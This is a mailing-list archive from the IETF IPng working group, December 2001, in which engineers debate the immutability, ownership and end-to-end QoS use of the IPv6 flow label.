06:31:20 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQEVKVu018012 for ipng-dist; Wed, 26 Dec 2001 06:31:20 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQEVGZR017999 for ; Wed, 26 Dec 2001 06:31:17 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA27160 for ; Wed, 26 Dec 2001 06:31:19 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA00378 for ; Wed, 26 Dec 2001 07:32:10 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id PAA10286; Wed, 26 Dec 2001 15:31:10 +0100 Received: from gsine02.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA26382 from ; Wed, 26 Dec 2001 15:31:01 +0100 Message-Id: <3C29CA9F.C969BC79@hursley.ibm.com> Date: Wed, 26 Dec 2001 14:03:27 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: "Hesham Soliman (ERA)" Cc: "'Margaret Wasserman'" , Tony Hain , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <4DA6EA82906FD511BE2F00508BCF053801C4C185@Esealnt861.al.sw.ericsson.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk "Hesham Soliman (ERA)" wrote: ... > => Perhaps another way to look at this, is to > come back to basics and say that the flow label > is part of the IPv6 header, therefore it seems > rational to let IPv6 WG define its use. > I don't see anything wrong with this, no other > fields in the IPv6 header are defined by other > groups. > Not so: diffserv defined the traffic class (RFC 2474) and the ECN bits were not even defined by a WG. I think that the IPv6 WG needs to define the general rules of the flow label such as [im]mutablity but the detailed usage may be defined elsewhere. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 06:37:25 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQEbOZR018053 for ; Wed, 26 Dec 2001 06:37:24 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQEbOTN018052 for ipng-dist; Wed, 26 Dec 2001 06:37:24 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQEbJZR018038 for ; Wed, 26 Dec 2001 06:37:19 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA17053 for ; Wed, 26 Dec 2001 06:36:57 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA09945 for ; Wed, 26 Dec 2001 07:36:56 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id PAA11796; Wed, 26 Dec 2001 15:36:54 +0100 Received: from gsine02.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA26388 from ; Wed, 26 Dec 2001 15:36:51 +0100 Message-Id: <3C29CEEE.A9F9C2D@hursley.ibm.com> Date: Wed, 26 Dec 2001 14:21:50 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Margaret Wasserman Cc: "Hesham Soliman (ERA)" , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <4.2.2.20011221173505.01fd64b0@mail.windriver.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret Wasserman wrote: ... > But, the current effort does not seem focused on > defining an actual use for the flow label. We seem to > be focused on defining restrictions on the flow label, > without a specific use that justifies those restrictions. No. The immutability property is necessary for both of the existing QOS standards, and is necessary for any QOS mechanism that doesn't require an explicit chain of SLAs along the entire path (an unlikely scenario in a dynamically routed internet). Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 06:37:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQEbQZR018063 for ; Wed, 26 Dec 2001 06:37:27 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQEbQik018062 for ipng-dist; Wed, 26 Dec 2001 06:37:26 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQEbLZR018045 for ; Wed, 26 Dec 2001 06:37:21 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA27401 for ; Wed, 26 Dec 2001 06:37:03 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA01942 for ; Wed, 26 Dec 2001 07:36:44 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id PAA10504; Wed, 26 Dec 2001 15:37:01 +0100 Received: from gsine02.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA55226 from ; Wed, 26 Dec 2001 15:36:57 +0100 Message-Id: <3C29D007.E60BA0DD@hursley.ibm.com> Date: Wed, 26 Dec 2001 14:26:31 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Francis Dupont Cc: ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <200112221733.fBMHX8D00566@givry.rennes.enst-bretagne.fr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Francis Dupont wrote: > > In your previous mail you wrote: > > >> PS: I can read between the lines that an end-to-end usage of > > the flow label is proposed. IMHO this is only a waste of bits, > > the flow label is in the header in order to be available to > > intermediate nodes. For end-to-end options, a destination header > > fits better. > > There's nothing between the lines: the argument is *very explicit* > that we want e2e flow labels if they are to be of any use for QOS > > => I believe we have to define more accurately what are e2e flow labels: > (1) information for the peer node > (2) information for intermediate routers that doesn't change en route. > > (intserv, diffserv, or any future QOS solution). > > => so your interpretation is (2) Yes. There is a theoretical possibility of the destination host looking at the label for internal dispatching, but I think that last place that is really likely is in the destination NIC. > > An extension header is useless. It's too clumsy and too far down the > packet for line-speed hardware matching. > > => but for (1) you should agree a destination option is better. Yes, probably. Brian > > Regards > > Francis.Dupont@enst-bretagne.fr > > PS: I agree with (2) if end-to-end stands for domains (with as constrainted > as you'd like definition of a domain). > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Brian E Carpenter Distinguished Engineer, Internet Standards & Technology, IBM On assignment at the IBM Zurich Laboratory, Switzerland Board Chairman, Internet Society http://www.isoc.org -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 06:39:24 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQEdOZR018103 for ; Wed, 26 Dec 2001 06:39:24 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQEdNmk018102 for ipng-dist; Wed, 26 Dec 2001 06:39:23 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQEdKZR018095 for ; Wed, 26 Dec 2001 06:39:21 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA00712 for ; Wed, 26 Dec 2001 06:38:11 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA02167 for ; Wed, 26 Dec 2001 07:37:52 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id PAA09494; Wed, 26 Dec 2001 15:36:48 +0100 Received: from gsine02.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA26386 from ; Wed, 26 Dec 2001 15:31:20 +0100 Message-Id: <3C29CE2C.168EA3B3@hursley.ibm.com> Date: Wed, 26 Dec 2001 14:18:36 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Tony Hain Cc: Alex Conta , Muhammad Jaseemuddin , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Tony Hain wrote: > > Alex Conta wrote: > > Furthermore, the > > restriction has a detrimental effect on the subset of > > applications that > > could take advantage of a changing value. > > I am sorry, but those applications should be using the DSCP which is > already mutable. If we allow the FL to be mutable, there will be no > applications that can trust that it will immutable over any random > network. You can't have it both ways. Exactly. And operators who break the immutability rule will penalise their own customers by depriving them of e2e QOS. There was a reason diffserv chose to make the DSCP mutable, but the same reason (QOS policies are ISP-specific) is why the flow label should be immutable. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 06:52:03 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQEq3ZR018148 for ; Wed, 26 Dec 2001 06:52:03 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQEq3Xp018147 for ipng-dist; Wed, 26 Dec 2001 06:52:03 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQEq0ZR018140 for ; Wed, 26 Dec 2001 06:52:00 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA17769 for ; Wed, 26 Dec 2001 06:52:02 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA06710 for ; Wed, 26 Dec 2001 07:52:54 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id PAA07076; Wed, 26 Dec 2001 15:51:59 +0100 Received: from gsine02.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA26474 from ; Wed, 26 Dec 2001 15:51:56 +0100 Message-Id: <3C29E408.B6A07738@hursley.ibm.com> Date: Wed, 26 Dec 2001 15:51:52 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: "Perry E. Metzger" Cc: ipng@sunroof.eng.sun.com Subject: Round and round Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Perry, really, these questions have been asked and answered a dozen times. I'm not getting at you personally but I am getting very tired of this discussion going round and round. We (those of use who've been thinking about QOS for some years in Intserv, Diffserv and elsewhere) didn't come along with a proposal to clarify the e2e semantics of the flow label in a vacuum. Let's either clarify them, as in the one para summary that Tony Hain sent a few days ago, or simply write the field off as reserved, in which case IPv6 will have no advantage of IPv4 for QOS purposes. Brian "Perry E. Metzger" wrote: > > Am I correct in saying that, at this point, the flow label is at most > a way for intermediate routers to avoid layer violations, since a flow > is immutable and is properly given as a tuple? > > One must ask what kind of layer violations this is intended to > stop, and what the purpose of those layer violations is. Generally > speaking, routers only reach in to the lower layers to determine how > to differentiate traffic between two hosts for purposes of > prioritization. > > If it is intended to stop routers looking at the different layers to > prioritize traffic, it is a failure, since the flow label tells an > intermediate router nothing it needs to know to prioritize traffic > other than "this is flow #N". You can't decided "hmm, interactive > traffic -- better bump that above bulk file transfer" based on the > flow label. At best, you can use the flow label for doing something > like penalizing flows with non-friendly flow control > characteristics. > > Is that the entire goal? To label flows so that they can be penalized? > Is there any other possible use of the field as defined by the proposal? > > If that's all we're gaining here, seems like a lot of mechanism for a > pretty small effect -- especially since at this point, there is no > chance of getting the overwhelming bulk of the world's v6 hosts to > insert such a label for many years -- XP and friends have already > shipped -- so your ASICs still need to know how to unwrap the TCP/UDP > headers anyway. > > Perry > -- > Perry E. Metzger perry@wasabisystems.com > -- > NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 06:53:02 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQEr1ZR018165 for ; Wed, 26 Dec 2001 06:53:01 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQEr16s018164 for ipng-dist; Wed, 26 Dec 2001 06:53:01 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQEqvZR018157 for ; Wed, 26 Dec 2001 06:52:57 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA17811 for ; Wed, 26 Dec 2001 06:52:56 -0800 (PST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA02803 for ; Wed, 26 Dec 2001 06:52:55 -0800 (PST) Received: (from sob@localhost) by newdev.harvard.edu (8.10.2/8.10.2) id fBQEpv511502; Wed, 26 Dec 2001 09:51:57 -0500 (EST) Date: Wed, 26 Dec 2001 09:51:57 -0500 (EST) From: Scott Bradner Message-Id: <200112261451.fBQEpv511502@newdev.harvard.edu> To: brian@hursley.ibm.com, hesham.soliman@era.ericsson.se Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Cc: alh-ietf@tndh.net, ipng@sunroof.eng.sun.com, mrw@windriver.com Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Not so: diffserv defined the traffic class (RFC 2474) and the ECN bits were > not even defined by a WG. the final standards-track work on ECN was done in the TSVWG - i.e. in a working group - the orignal non-WG work was for an experimental RFC Scott -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 06:53:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQErqZR018185 for ; Wed, 26 Dec 2001 06:53:52 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQErpMF018184 for ipng-dist; Wed, 26 Dec 2001 06:53:51 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQErmZR018177 for ; Wed, 26 Dec 2001 06:53:48 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA05037 for ; Wed, 26 Dec 2001 06:53:51 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA02976 for ; Wed, 26 Dec 2001 06:53:50 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id PAA05510; Wed, 26 Dec 2001 15:53:48 +0100 Received: from gsine02.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA49656 from ; Wed, 26 Dec 2001 15:53:45 +0100 Message-Id: <3C29E475.4E11AC8D@hursley.ibm.com> Date: Wed, 26 Dec 2001 15:53:41 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: "Perry E. Metzger" Cc: Michael Thomas , ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk "Perry E. Metzger" wrote: ... > Yes, you need to go on. For the most part, I'm not sure this is going > work out. As I note, we've already deployed. Windows XP and such > aren't going to be obeying any of this, We're designing for 2002 operating systems? I thought we were designing for the next 50 years. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 07:04:28 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQF4SZR018257 for ; Wed, 26 Dec 2001 07:04:28 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQF4SwK018256 for ipng-dist; Wed, 26 Dec 2001 07:04:28 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQF4OZR018249 for ; Wed, 26 Dec 2001 07:04:25 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA02824 for ; Wed, 26 Dec 2001 07:04:25 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA02043 for ; Wed, 26 Dec 2001 07:04:25 -0800 (PST) Received: from IPv16 (as1b-67.chi.il.dial.anet.com [198.92.157.67]) by zeus.anet-chi.com (8.12.1/8.12.0) with SMTP id fBQF4EeN013795; Wed, 26 Dec 2001 09:04:15 -0600 (CST) Message-ID: <005f01c18e1f$f64f3140$1000a8c0@Unir.com> From: "Jim Fleming" To: "Brian E Carpenter" , "Hesham Soliman \(ERA\)" Cc: "'Margaret Wasserman'" , "Tony Hain" , References: <4DA6EA82906FD511BE2F00508BCF053801C4C185@Esealnt861.al.sw.ericsson.se> <3C29CA9F.C969BC79@hursley.ibm.com> Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Date: Wed, 26 Dec 2001 09:14:04 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk The marketplace ultimately defines the bits. As an example, IPv6 is being defined by the InfiniBand developers. They are putting it into the silicon for Intel processors. People may want to keep up with the current specs for IPv6 used in infiniBAND. Only the essential elements are used. http://www.infinibandta.org As for other bits, Linux and FreeBSD tend to be the reference developments. Windows XP has now added extensions to IPv4 with the 2002:[IPv4]:0000 IPv8-style addressing. That generates IPv4 packets, which can then be processed by the NAT devices, before being sent on the Global IPv4 Transport. Jim Fleming http://www.IPv8.info IPv16....One Better !! ----- Original Message ----- From: "Brian E Carpenter" To: "Hesham Soliman (ERA)" Cc: "'Margaret Wasserman'" ; "Tony Hain" ; Sent: Wednesday, December 26, 2001 7:03 AM Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt > "Hesham Soliman (ERA)" wrote: > ... > > => Perhaps another way to look at this, is to > > come back to basics and say that the flow label > > is part of the IPv6 header, therefore it seems > > rational to let IPv6 WG define its use. > > I don't see anything wrong with this, no other > > fields in the IPv6 header are defined by other > > groups. > > > > Not so: diffserv defined the traffic class (RFC 2474) and the ECN bits were > not even defined by a WG. > > I think that the IPv6 WG needs to define the general rules of the flow label > such as [im]mutablity but the detailed usage may be defined elsewhere. > > Brian > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 08:22:56 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQGMtZR018301 for ; Wed, 26 Dec 2001 08:22:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQGMttd018300 for ipng-dist; Wed, 26 Dec 2001 08:22:55 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQGMqZR018293 for ; Wed, 26 Dec 2001 08:22:52 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA04402 for ; Wed, 26 Dec 2001 08:22:54 -0800 (PST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA05675 for ; Wed, 26 Dec 2001 09:22:53 -0700 (MST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBQGMpY11160; Wed, 26 Dec 2001 08:22:51 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAO64685; Wed, 26 Dec 2001 08:22:18 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA08540; Wed, 26 Dec 2001 08:22:51 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15401.63834.984524.789399@thomasm-u1.cisco.com> Date: Wed, 26 Dec 2001 08:22:50 -0800 (PST) To: "Perry E. Metzger" Cc: Michael Thomas , ipng@sunroof.eng.sun.com Subject: Re: Flow Label In-Reply-To: <87g05zds04.fsf@snark.piermont.com> References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> <15400.50164.852323.177813@thomasm-u1.cisco.com> <87g05zds04.fsf@snark.piermont.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Perry E. Metzger writes: > I'm looking for statements from several router vendors that look much > like this: I don't speak for Cisco. I speak for myself. Sorry. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 08:46:04 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQGk4ZR018363 for ; Wed, 26 Dec 2001 08:46:04 -0800 (PST) Received: (from 